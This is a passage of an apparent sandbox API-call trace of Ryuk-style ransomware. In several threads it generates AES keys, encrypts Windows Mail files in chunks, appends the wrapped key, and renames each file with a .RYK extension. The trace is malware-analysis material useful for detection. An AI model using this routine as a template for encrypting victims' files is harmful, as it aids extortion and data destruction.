	[0244.881] WriteFile (in: hFile=0x7f8, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x8ddfd24, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x8ddfd24*=0x17b90, lpOverlapped=0x0) returned 1
	[0245.770] WriteFile (in: hFile=0x7f8, lpBuffer=0x8ddfd50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ddfd30, lpOverlapped=0x0 | out: lpBuffer=0x8ddfd50*, lpNumberOfBytesWritten=0x8ddfd30*=0x6, lpOverlapped=0x0) returned 1
	[0245.770] CryptExportKey (in: hKey=0x2b9370, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ddfd40 | out: pbData=0x0*, pdwDataLen=0x8ddfd40*=0x10c) returned 1
	[0245.771] CryptExportKey (in: hKey=0x2b9370, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ddfdb0, pdwDataLen=0x8ddfd40 | out: pbData=0x8ddfdb0*, pdwDataLen=0x8ddfd40*=0x10c) returned 1
	[0245.771] WriteFile (in: hFile=0x7f8, lpBuffer=0x8ddfdb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ddfd30, lpOverlapped=0x0 | out: lpBuffer=0x8ddfdb0*, lpNumberOfBytesWritten=0x8ddfd30*=0x10c, lpOverlapped=0x0) returned 1
	[0245.771] CloseHandle (hObject=0x7f8) returned 1
	[0249.279] CryptDestroyKey (hKey=0x2b9370) returned 1
	[0249.279] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2730
	os_tid = 0x28c8

	[0237.214] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs", dwFileAttributes=0x80) returned 1
	[0237.214] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc
	[0237.215] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x9d5f5f8 | out: lpFileSize=0x9d5f5f8*=2097152) returned 1
	[0237.215] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x9d5f608 | out: lpFileSize=0x9d5f608*=2097152) returned 1
	[0237.215] SetFilePointerEx (in: hFile=0x7fc, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.215] ReadFile (in: hFile=0x7fc, lpBuffer=0x9d5f650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9d5f5c0, lpOverlapped=0x0 | out: lpBuffer=0x9d5f650*, lpNumberOfBytesRead=0x9d5f5c0*=0x19, lpOverlapped=0x0) returned 1
	[0237.440] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.441] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9d5f5d8 | out: phKey=0x9d5f5d8*=0x2b93e0) returned 1
	[0237.441] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.441] ReadFile (in: hFile=0x7fc, lpBuffer=0x3690000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesRead=0x9d5f5e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0237.509] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4240) returned 1
	[0237.509] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0xf4240) returned 1
	[0237.915] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.915] WriteFile (in: hFile=0x7fc, lpBuffer=0x3690000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesWritten=0x9d5f5e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0238.404] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0238.404] ReadFile (in: hFile=0x7fc, lpBuffer=0x3690000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesRead=0x9d5f5e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0245.270] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4240) returned 1
	[0245.270] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0xf4240) returned 1
	[0245.277] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0245.277] WriteFile (in: hFile=0x7fc, lpBuffer=0x3690000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesWritten=0x9d5f5e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0245.288] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0245.289] ReadFile (in: hFile=0x7fc, lpBuffer=0x3690000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesRead=0x9d5f5e4*=0x17b80, lpOverlapped=0x0) returned 1
	[0245.528] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9d5f5e0*=0xf4250) returned 1
	[0245.528] CryptEncrypt (in: hKey=0x2b93e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3690000*, pdwDataLen=0x9d5f5e8*=0x17b90) returned 1
	[0245.529] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0245.529] WriteFile (in: hFile=0x7fc, lpBuffer=0x3690000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x9d5f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesWritten=0x9d5f5e4*=0x17b90, lpOverlapped=0x0) returned 1
	[0247.927] WriteFile (in: hFile=0x7fc, lpBuffer=0x9d5f610*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9d5f5f0, lpOverlapped=0x0 | out: lpBuffer=0x9d5f610*, lpNumberOfBytesWritten=0x9d5f5f0*=0x6, lpOverlapped=0x0) returned 1
	[0247.927] CryptExportKey (in: hKey=0x2b93e0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9d5f600 | out: pbData=0x0*, pdwDataLen=0x9d5f600*=0x10c) returned 1
	[0247.927] CryptExportKey (in: hKey=0x2b93e0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9d5f670, pdwDataLen=0x9d5f600 | out: pbData=0x9d5f670*, pdwDataLen=0x9d5f600*=0x10c) returned 1
	[0247.927] WriteFile (in: hFile=0x7fc, lpBuffer=0x9d5f670*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9d5f5f0, lpOverlapped=0x0 | out: lpBuffer=0x9d5f670*, lpNumberOfBytesWritten=0x9d5f5f0*=0x10c, lpOverlapped=0x0) returned 1
	[0247.927] CloseHandle (hObject=0x7fc) returned 1
	[0251.000] CryptDestroyKey (hKey=0x2b93e0) returned 1
	[0251.000] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2731
	os_tid = 0x2534

	[0237.218] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs", dwFileAttributes=0x80) returned 1
	[0237.261] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804
	[0237.261] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x99cf758 | out: lpFileSize=0x99cf758*=2097152) returned 1
	[0237.261] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x99cf768 | out: lpFileSize=0x99cf768*=2097152) returned 1
	[0237.262] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0237.262] ReadFile (in: hFile=0x804, lpBuffer=0x99cf7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99cf720, lpOverlapped=0x0 | out: lpBuffer=0x99cf7b0*, lpNumberOfBytesRead=0x99cf720*=0x19, lpOverlapped=0x0) returned 1
	[0237.341] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.341] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x99cf738 | out: phKey=0x99cf738*=0x2b8f80) returned 1
	[0237.341] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.341] ReadFile (in: hFile=0x804, lpBuffer=0x3790000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesRead=0x99cf744*=0xf4240, lpOverlapped=0x0) returned 1
	[0237.377] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x99cf740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x99cf740*=0xf4240) returned 1
	[0237.377] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0x99cf748*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3790000*, pdwDataLen=0x99cf748*=0xf4240) returned 1
	[0237.885] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.885] WriteFile (in: hFile=0x804, lpBuffer=0x3790000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesWritten=0x99cf744*=0xf4240, lpOverlapped=0x0) returned 1
	[0238.385] SetFilePointer (in: hFile=0x804, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0238.385] ReadFile (in: hFile=0x804, lpBuffer=0x3790000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesRead=0x99cf744*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.859] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x99cf740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x99cf740*=0xf4240) returned 1
	[0244.859] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0x99cf748*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3790000*, pdwDataLen=0x99cf748*=0xf4240) returned 1
	[0244.866] SetFilePointer (in: hFile=0x804, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0244.866] WriteFile (in: hFile=0x804, lpBuffer=0x3790000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesWritten=0x99cf744*=0xf4240, lpOverlapped=0x0) returned 1
	[0244.877] SetFilePointer (in: hFile=0x804, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0244.877] ReadFile (in: hFile=0x804, lpBuffer=0x3790000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesRead=0x99cf744*=0x17b80, lpOverlapped=0x0) returned 1
	[0245.197] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x99cf740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x99cf740*=0xf4250) returned 1
	[0245.197] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0x99cf748*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3790000*, pdwDataLen=0x99cf748*=0x17b90) returned 1
	[0245.198] SetFilePointer (in: hFile=0x804, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0245.198] WriteFile (in: hFile=0x804, lpBuffer=0x3790000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x99cf744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesWritten=0x99cf744*=0x17b90, lpOverlapped=0x0) returned 1
	[0247.107] WriteFile (in: hFile=0x804, lpBuffer=0x99cf770*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x99cf750, lpOverlapped=0x0 | out: lpBuffer=0x99cf770*, lpNumberOfBytesWritten=0x99cf750*=0x6, lpOverlapped=0x0) returned 1
	[0247.138] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99cf760 | out: pbData=0x0*, pdwDataLen=0x99cf760*=0x10c) returned 1
	[0247.138] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x99cf7d0, pdwDataLen=0x99cf760 | out: pbData=0x99cf7d0*, pdwDataLen=0x99cf760*=0x10c) returned 1
	[0247.138] WriteFile (in: hFile=0x804, lpBuffer=0x99cf7d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x99cf750, lpOverlapped=0x0 | out: lpBuffer=0x99cf7d0*, lpNumberOfBytesWritten=0x99cf750*=0x10c, lpOverlapped=0x0) returned 1
	[0247.138] CloseHandle (hObject=0x804) returned 1
	[0251.230] CryptDestroyKey (hKey=0x2b8f80) returned 1
	[0251.230] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2732
	os_tid = 0x2590

	[0237.220] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml", dwFileAttributes=0x80) returned 1
	[0237.265] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x808
	[0237.265] GetFileSizeEx (in: hFile=0x808, lpFileSize=0x9fefb58 | out: lpFileSize=0x9fefb58*=260) returned 1
	[0237.265] GetFileSizeEx (in: hFile=0x808, lpFileSize=0x9fefb68 | out: lpFileSize=0x9fefb68*=260) returned 1
	[0237.265] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9fefb38 | out: phKey=0x9fefb38*=0x2b8f80) returned 1
	[0237.265] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.265] ReadFile (in: hFile=0x808, lpBuffer=0x3890000, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x9fefb44, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesRead=0x9fefb44*=0x104, lpOverlapped=0x0) returned 1
	[0237.268] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9fefb40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9fefb40*=0xf4250) returned 1
	[0237.268] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3890000*, pdwDataLen=0x9fefb48*=0x104, dwBufLen=0xf4250 | out: pbData=0x3890000*, pdwDataLen=0x9fefb48*=0x110) returned 1
	[0237.268] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.269] WriteFile (in: hFile=0x808, lpBuffer=0x3890000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x9fefb44, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesWritten=0x9fefb44*=0x110, lpOverlapped=0x0) returned 1
	[0237.269] WriteFile (in: hFile=0x808, lpBuffer=0x9fefb70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9fefb50, lpOverlapped=0x0 | out: lpBuffer=0x9fefb70*, lpNumberOfBytesWritten=0x9fefb50*=0x6, lpOverlapped=0x0) returned 1
	[0237.269] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9fefb60 | out: pbData=0x0*, pdwDataLen=0x9fefb60*=0x10c) returned 1
	[0237.269] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9fefbd0, pdwDataLen=0x9fefb60 | out: pbData=0x9fefbd0*, pdwDataLen=0x9fefb60*=0x10c) returned 1
	[0237.269] WriteFile (in: hFile=0x808, lpBuffer=0x9fefbd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9fefb50, lpOverlapped=0x0 | out: lpBuffer=0x9fefbd0*, lpNumberOfBytesWritten=0x9fefb50*=0x10c, lpOverlapped=0x0) returned 1
	[0237.269] CloseHandle (hObject=0x808) returned 1
	[0237.279] CryptDestroyKey (hKey=0x2b8f80) returned 1
	[0237.279] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2733
	os_tid = 0x2d70

	[0237.221] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", dwFileAttributes=0x80) returned 1
	[0237.222] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804
	[0237.223] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x9c3f658 | out: lpFileSize=0x9c3f658*=255) returned 1
	[0237.223] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x9c3f668 | out: lpFileSize=0x9c3f668*=255) returned 1
	[0237.223] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9c3f638 | out: phKey=0x9c3f638*=0x2b9060) returned 1
	[0237.223] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.224] ReadFile (in: hFile=0x804, lpBuffer=0x3990000, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x9c3f644, lpOverlapped=0x0 | out: lpBuffer=0x3990000*, lpNumberOfBytesRead=0x9c3f644*=0xff, lpOverlapped=0x0) returned 1
	[0237.227] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9c3f640*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9c3f640*=0xf4250) returned 1
	[0237.227] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3990000*, pdwDataLen=0x9c3f648*=0xff, dwBufLen=0xf4250 | out: pbData=0x3990000*, pdwDataLen=0x9c3f648*=0x100) returned 1
	[0237.228] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0237.228] WriteFile (in: hFile=0x804, lpBuffer=0x3990000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x9c3f644, lpOverlapped=0x0 | out: lpBuffer=0x3990000*, lpNumberOfBytesWritten=0x9c3f644*=0x100, lpOverlapped=0x0) returned 1
	[0237.228] WriteFile (in: hFile=0x804, lpBuffer=0x9c3f670*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9c3f650, lpOverlapped=0x0 | out: lpBuffer=0x9c3f670*, lpNumberOfBytesWritten=0x9c3f650*=0x6, lpOverlapped=0x0) returned 1
	[0237.228] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9c3f660 | out: pbData=0x0*, pdwDataLen=0x9c3f660*=0x10c) returned 1
